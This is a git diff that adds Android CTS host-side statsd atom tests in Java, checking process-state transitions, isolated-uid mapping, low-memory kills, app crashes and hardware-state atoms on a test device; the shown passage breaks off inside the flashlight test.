+            = "com.android.server.cts.device.statsdatom/.StatsdCtsForegroundService";
+
+    // Constants from the device-side tests (not directly accessible here).
+    private static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
+    private static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
+    private static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
+    private static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
+    private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+
+    // Sleep times (ms) that actions invoke device-side.
+    private static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
+    private static final int SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP = 60_000;
+    private static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
+    private static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
+
+    private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
+    // ActivityManager can take a while to register screen state changes, mandating an extra delay.
+    private static final int WAIT_TIME_FOR_SCREEN_MS = 1_000;
+    private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when proc state changing.
+    private static final int STATSD_REPORT_WAIT_TIME_MS = 500; // make sure statsd finishes log.
+
+    private static final String FEATURE_WATCH = "android.hardware.type.watch";
+
+    // The tests here are using the BatteryStats definition of 'background'.
+    private static final Set<Integer> BG_STATES = new HashSet<>(
+            Arrays.asList(
+                    ProcessStateEnum.PROCESS_STATE_IMPORTANT_BACKGROUND_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_TRANSIENT_BACKGROUND_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_BACKUP_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_SERVICE_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_RECEIVER_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_HEAVY_WEIGHT_VALUE
+            ));
+
+    // Using the BatteryStats definition of 'cached', which is why HOME (etc) are considered cached.
+    private static final Set<Integer> CACHED_STATES = new HashSet<>(
+            Arrays.asList(
+                    ProcessStateEnum.PROCESS_STATE_HOME_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_LAST_ACTIVITY_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_CACHED_ACTIVITY_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_CACHED_ACTIVITY_CLIENT_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_CACHED_RECENT_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_CACHED_EMPTY_VALUE
+            ));
+
+    private static final Set<Integer> MISC_STATES = new HashSet<>(
+            Arrays.asList(
+                    ProcessStateEnum.PROCESS_STATE_PERSISTENT_VALUE, // TODO: untested
+                    ProcessStateEnum.PROCESS_STATE_PERSISTENT_UI_VALUE, // TODO: untested
+                    ProcessStateEnum.PROCESS_STATE_TOP_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_BOUND_TOP_VALUE, // TODO: untested
+                    ProcessStateEnum.PROCESS_STATE_BOUND_FOREGROUND_SERVICE_VALUE, // TODO: untested
+                    ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE,
+
+                    ProcessStateEnum.PROCESS_STATE_UNKNOWN_VALUE,
+                    ProcessStateEnum.PROCESS_STATE_NONEXISTENT_VALUE
+            ));
+
+    private static final Set<Integer> ALL_STATES = Stream.of(MISC_STATES, CACHED_STATES, BG_STATES)
+            .flatMap(s -> s.stream()).collect(Collectors.toSet());
+
+    private static final Function<Atom, Integer> PROC_STATE_FUNCTION =
+            atom -> atom.getUidProcessStateChanged().getState().getNumber();
+
+    private static final int PROC_STATE_ATOM_TAG = Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testForegroundService() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                ProcessStateEnum.PROCESS_STATE_FOREGROUND_SERVICE_VALUE));
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        executeForegroundService(getDevice());
+        final int waitTime = SLEEP_OF_FOREGROUND_SERVICE;
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data, onStates,
+                PROC_STATE_FUNCTION); // clear out initial proc states.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
+    }
+
+    public void testForeground() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                ProcessStateEnum.PROCESS_STATE_IMPORTANT_FOREGROUND_VALUE));
+        // There are no offStates, since the app remains in foreground until killed.
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        executeForegroundActivity(getDevice(), ACTION_SHOW_APPLICATION_OVERLAY);
+        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data, onStates,
+                PROC_STATE_FUNCTION); // clear out initial proc states.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0, PROC_STATE_FUNCTION);
+    }
+
+    public void testBackground() throws Exception {
+        Set<Integer> onStates = BG_STATES;
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.executeBackgroundService(getDevice(), ACTION_BACKGROUND_SLEEP);
+        final int waitTime = SLEEP_OF_ACTION_BACKGROUND_SLEEP;
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data, onStates,
+                PROC_STATE_FUNCTION); // clear out initial proc states.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
+    }
+
+    public void testTop() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                ProcessStateEnum.PROCESS_STATE_TOP_VALUE));
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        executeForegroundActivity(getDevice(), ACTION_SLEEP_WHILE_TOP);
+        final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP;
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS + EXTRA_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data, onStates,
+                PROC_STATE_FUNCTION); // clear out initial proc states.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, waitTime, PROC_STATE_FUNCTION);
+    }
+
+    public void testTopSleeping() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                ProcessStateEnum.PROCESS_STATE_TOP_SLEEPING_VALUE));
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(WAIT_TIME_FOR_SCREEN_MS);
+
+        executeForegroundActivity(getDevice(), ACTION_SLEEP_WHILE_TOP);
+        // ASAP, turn off the screen to make proc state -> top_sleeping.
+        DeviceUtils.turnScreenOff(getDevice());
+        final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS;
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.popUntilFind(data,
+                new HashSet<>(Arrays.asList(ProcessStateEnum.PROCESS_STATE_TOP_VALUE)),
+                PROC_STATE_FUNCTION); // clear out anything prior to it entering TOP.
+        AtomTestUtils.popUntilFind(data, onStates, PROC_STATE_FUNCTION); // clear out TOP itself.
+        // reset screen back on
+        DeviceUtils.turnScreenOn(getDevice());
+        // Don't check the wait time, since it's up to the system how long top sleeping persists.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0, PROC_STATE_FUNCTION);
+    }
+
+    public void testCached() throws Exception {
+        Set<Integer> onStates = CACHED_STATES;
+        Set<Integer> offStates = complement(onStates);
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                PROC_STATE_ATOM_TAG, /*useUidAttributionChain=*/false);
+
+        // The schedule is as follows
+        // #1. The system may do anything it wants, such as moving the app into a cache state.
+        // #2. We move the app into the background.
+        // #3. The background process ends, so the app definitely moves to a cache state
+        //          (this is the ultimate goal of the test).
+        // #4. We start a foreground activity, moving the app out of cache.
+
+        // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
+        DeviceUtils.executeBackgroundService(getDevice(), ACTION_END_IMMEDIATELY);
+        final int cacheTime = 2_000; // process should be in cached state for up to this long
+        Thread.sleep(cacheTime);
+        // Now forcibly bring the app out of cache (#4 above).
+        executeForegroundActivity(getDevice(), ACTION_SHOW_APPLICATION_OVERLAY);
+        // Now check the data *before* the app enters cache again (to avoid another cache event).
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        // First, clear out any incidental cached states of step #1, prior to step #2.
+        AtomTestUtils.popUntilFind(data, BG_STATES, PROC_STATE_FUNCTION);
+        // Now clear out the bg state from step #2 (since we are interested in the cache after it).
+        AtomTestUtils.popUntilFind(data, onStates, PROC_STATE_FUNCTION);
+        // The result is that data should start at step #3, definitively in a cached state.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 1_000, PROC_STATE_FUNCTION);
+    }
+
+    public void testValidityOfStates() throws Exception {
+        assertWithMessage("UNKNOWN_TO_PROTO should not be a valid state")
+                .that(ALL_STATES).doesNotContain(
+                ProcessStateEnum.PROCESS_STATE_UNKNOWN_TO_PROTO_VALUE);
+    }
+
+    /** Returns the a set containing elements of a that are not elements of b. */
+    private Set<Integer> difference(Set<Integer> a, Set<Integer> b) {
+        Set<Integer> result = new HashSet<Integer>(a);
+        result.removeAll(b);
+        return result;
+    }
+
+    /** Returns the set of all states that are not in set. */
+    private Set<Integer> complement(Set<Integer> set) {
+        return difference(ALL_STATES, set);
+    }
+
+    /**
+     * Runs an activity (in the foreground) to perform the given action.
+     *
+     * @param actionValue the action code constants indicating the desired action to perform.
+     */
+    private static void executeForegroundActivity(ITestDevice device, String actionValue)
+            throws Exception {
+        device.executeShellCommand(String.format(
+                "am start -n '%s' -e %s %s",
+                DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
+                "action", actionValue));
+    }
+
+    /**
+     * Runs a simple foreground service.
+     */
+    private static void executeForegroundService(ITestDevice device) throws Exception {
+        executeForegroundActivity(device, ACTION_END_IMMEDIATELY);
+        device.executeShellCommand(String.format(
+                "am startservice -n '%s'", DEVICE_SIDE_FG_SERVICE_COMPONENT));
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
new file mode 100644
index 0000000..81fe295
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -0,0 +1,922 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.AppOpEnum;
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.os.WakeLockLevelEnum;
+import android.server.ErrorSource;
+
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.ANROccurred;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.AtomsProto.AppCrashOccurred;
+import com.android.os.AtomsProto.AppUsageEventOccurred;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.AttributionNode;
+import com.android.os.AtomsProto.AudioStateChanged;
+import com.android.os.AtomsProto.CameraStateChanged;
+import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
+import com.android.os.AtomsProto.FlashlightStateChanged;
+import com.android.os.AtomsProto.ForegroundServiceAppOpSessionEnded;
+import com.android.os.AtomsProto.ForegroundServiceStateChanged;
+import com.android.os.AtomsProto.GpsScanStateChanged;
+import com.android.os.AtomsProto.LmkKillOccurred;
+import com.android.os.AtomsProto.MediaCodecStateChanged;
+import com.android.os.AtomsProto.OverlayStateChanged;
+import com.android.os.AtomsProto.SyncStateChanged;
+import com.android.os.AtomsProto.TestAtomReported;
+import com.android.os.AtomsProto.UiEventReported;
+import com.android.os.AtomsProto.VibratorStateChanged;
+import com.android.os.AtomsProto.WakelockStateChanged;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.Pair;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.function.Function;
+import java.util.stream.Collectors;
+
+/**
+ * Statsd atom tests that are done via app, for atoms that report a uid.
+ */
+public class UidAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.UidAtomTests";
+
+    private static final String TEST_PACKAGE_NAME = "com.android.server.cts.device.statsd";
+
+    private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+
+    private static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
+    private static final String FEATURE_CAMERA = "android.hardware.camera";
+    private static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
+    private static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
+    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+    private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    private static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
+    private static final String FEATURE_TV = "android.hardware.type.television";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Tests that statsd correctly maps isolated uids to host uids by verifying that atoms logged
+     * from an isolated process are seen as coming from their host process.
+     */
+    public void testIsolatedToHostUidMapping() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER, /*uidInAttributionChain=*/false);
+
+        // Create an isolated service from which an AppBreadcrumbReported atom is logged.
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests",
+                "testIsolatedProcessService");
+
+        // Verify correctness of data.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(1);
+        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
+        assertThat(atom.getUid()).isEqualTo(DeviceUtils.getStatsdTestAppUid(getDevice()));
+        assertThat(atom.getLabel()).isEqualTo(0);
+        assertThat(atom.getState()).isEqualTo(AppBreadcrumbReported.State.START);
+    }
+
+    private boolean shouldTestLmkdStats() throws Exception {
+        boolean hasKernel = DeviceUtils.isKernelGreaterEqual(getDevice(), Pair.create(4, 19));
+        boolean hasFirstApiLevel = PropertyUtil.getFirstApiLevel(getDevice()) > 30;
+        return (hasKernel && hasFirstApiLevel)
+                || "true".equals(DeviceUtils.getProperty(getDevice(), "ro.lmk.log_stats"));
+    }
+
+    public void testLmkKillOccurred() throws Exception {
+        if (!shouldTestLmkdStats()) {
+            LogUtil.CLog.d("Skipping lmkd stats test.");
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.LMK_KILL_OCCURRED_FIELD_NUMBER,  /*uidInAttributionChain=*/false);
+        int appUid = DeviceUtils.getStatsdTestAppUid(getDevice());
+
+        // Start the victim process (service running in process :lmk_victim)
+        // We rely on a victim process (instead of expecting the allocating process to die)
+        // because it can be flaky and dependent on lmkd configuration
+        // (e.g. the OOM reaper can get to it first, depending on the allocation timings)
+        DeviceUtils.executeServiceAction(getDevice(), "LmkVictimBackgroundService",
+                "action.end_immediately");
+        // Start fg activity and allocate
+        try (AutoCloseable a = DeviceUtils.withActivity(
+                getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.lmk")) {
+            // Sorted list of events in order in which they occurred.
+            List<EventMetricData> data = null;
+            for (int i = 0; i < 60; ++i) {
+                Thread.sleep(1_000);
+                data = ReportUtils.getEventMetricDataList(getDevice());
+                if (!data.isEmpty()) {
+                  break;
+                }
+            }
+
+            assertThat(data).isNotEmpty();
+            // Even though both processes might have died, the non-fg one (victim)
+            // must have been first.
+            assertThat(data.get(0).getAtom().hasLmkKillOccurred()).isTrue();
+            LmkKillOccurred atom = data.get(0).getAtom().getLmkKillOccurred();
+            assertThat(atom.getUid()).isEqualTo(appUid);
+            assertThat(atom.getProcessName())
+                    .isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG + ":lmk_victim");
+            assertThat(atom.getOomAdjScore()).isAtLeast(500);
+            assertThat(atom.getRssInBytes() + atom.getSwapInBytes()).isGreaterThan(0);
+      }
+    }
+
+    public void testAppCrashOccurred() throws Exception {
+        final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.crash");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        assertThat(atom.getEventType()).isEqualTo("crash");
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(AppCrashOccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        assertFalse(atom.getIsIncremental());
+        assertTrue((1 - atom.getLoadingProgress()) < 0.001);
+        assertEquals(-1, atom.getMillisSinceOldestPendingRead());
+    }
+
+    public void testAppCrashOccurredNative() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_TV)
+                && DeviceUtils.isDebuggable(getDevice())) {
+            // Skip TVs that are debuggable because ActivityManager does not properly terminate
+            // the activity in the event of a native crash.
+            return;
+        }
+        final int atomTag = Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.native_crash");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        assertThat(atom.getEventType()).isEqualTo("native_crash");
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(AppCrashOccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        // TODO(b/172866626): add tests for incremental packages that crashed during loading
+        assertFalse(atom.getIsIncremental());
+        assertTrue((1 - atom.getLoadingProgress()) < 0.001);
+        assertEquals(-1, atom.getMillisSinceOldestPendingRead());
+    }
+
+
+    public void testAudioState() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_AUDIO_OUTPUT)) return;
+
+        final int atomTag = Atom.AUDIO_STATE_CHANGED_FIELD_NUMBER;
+        final String name = "testAudioState";
+
+        Set<Integer> onState = new HashSet<>(
+                Arrays.asList(AudioStateChanged.State.ON_VALUE));
+        Set<Integer> offState = new HashSet<>(
+                Arrays.asList(AudioStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(onState, offState);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", name);
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Because the timestamp is truncated, we skip checking time differences between state
+        // changes.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0,
+                atom -> atom.getAudioStateChanged().getState().getNumber());
+
+        // Check that timestamp is truncated
+        for (EventMetricData metric : data) {
+            long elapsedTimestampNs = metric.getElapsedTimestampNanos();
+            AtomTestUtils.assertTimestampIsTruncated(elapsedTimestampNs);
+        }
+    }
+
+    public void testCameraState() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_CAMERA) && !DeviceUtils.hasFeature(
+                getDevice(), FEATURE_CAMERA_FRONT)) {
+            return;
+        }
+
+        final int atomTag = Atom.CAMERA_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> cameraOn = new HashSet<>(Arrays.asList(CameraStateChanged.State.ON_VALUE));
+        Set<Integer> cameraOff = new HashSet<>(Arrays.asList(CameraStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(cameraOn, cameraOff);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useAttributionChain=*/ true);
+
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testCameraState");
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_LONG,
+                atom -> atom.getCameraStateChanged().getState().getNumber());
+    }
+
+    public void testDeviceCalculatedPowerUse() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER);
+        DeviceUtils.unplugDevice(getDevice());
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        Atom atom = ReportUtils.getGaugeMetricAtoms(getDevice()).get(0);
+        assertThat(atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs())
+                .isGreaterThan(0L);
+        DeviceUtils.resetBatteryStatus(getDevice());
+    }
+
+
+    public void testDeviceCalculatedPowerBlameUid() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY)) return;
+        if (!DeviceUtils.hasBattery(getDevice())) {
+            return;
+        }
+        String kernelVersion = getDevice().executeShellCommand("uname -r");
+        if (kernelVersion.contains("3.18")) {
+            LogUtil.CLog.d("Skipping calculated power blame uid test.");
+            return;
+        }
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.DEVICE_CALCULATED_POWER_BLAME_UID_FIELD_NUMBER);
+        DeviceUtils.unplugDevice(getDevice());
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testSimpleCpu");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> atomList = ReportUtils.getGaugeMetricAtoms(getDevice());
+        boolean uidFound = false;
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        long uidPower = 0;
+        for (Atom atom : atomList) {
+            DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
+            if (item.getUid() == uid) {
+                assertWithMessage(String.format("Found multiple power values for uid %d", uid))
+                        .that(uidFound).isFalse();
+                uidFound = true;
+                uidPower = item.getPowerNanoAmpSecs();
+            }
+        }
+        assertWithMessage(String.format("No power value for uid %d", uid)).that(uidFound).isTrue();
+        assertWithMessage(String.format("Non-positive power value for uid %d", uid))
+                .that(uidPower).isGreaterThan(0L);
+        DeviceUtils.resetBatteryStatus(getDevice());
+    }
+
+    public void testFlashlightState() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_CAMERA_FLASH)) return;
+
